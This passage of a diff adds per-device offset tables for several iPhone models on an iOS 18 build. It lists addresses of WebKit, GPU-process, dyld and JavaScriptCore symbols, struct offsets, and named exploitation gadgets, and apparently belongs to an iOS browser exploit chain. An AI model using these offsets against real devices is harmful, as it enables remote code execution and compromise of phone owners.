CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf098n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeb80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeae0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc48n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be260n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be268n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be270n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be278n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e27e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e818n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62a78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5b8n, + WebCore__initPKContact_value: 0x1eda6b5c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69d80n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69d78n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69d60n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f9c0n, + __pthread_head: 0x2696e0020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5390n, + gadget_control_1_ios184: 0x23f0362ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f261150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d235da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfae16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abf820n, + libGPUCompilerImplLazy__invoker: 0x23cddb7e8n, + libGPUCompilerImplLazy_cstring: 0x23bf25870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca858n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d284000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ac0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,7_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + 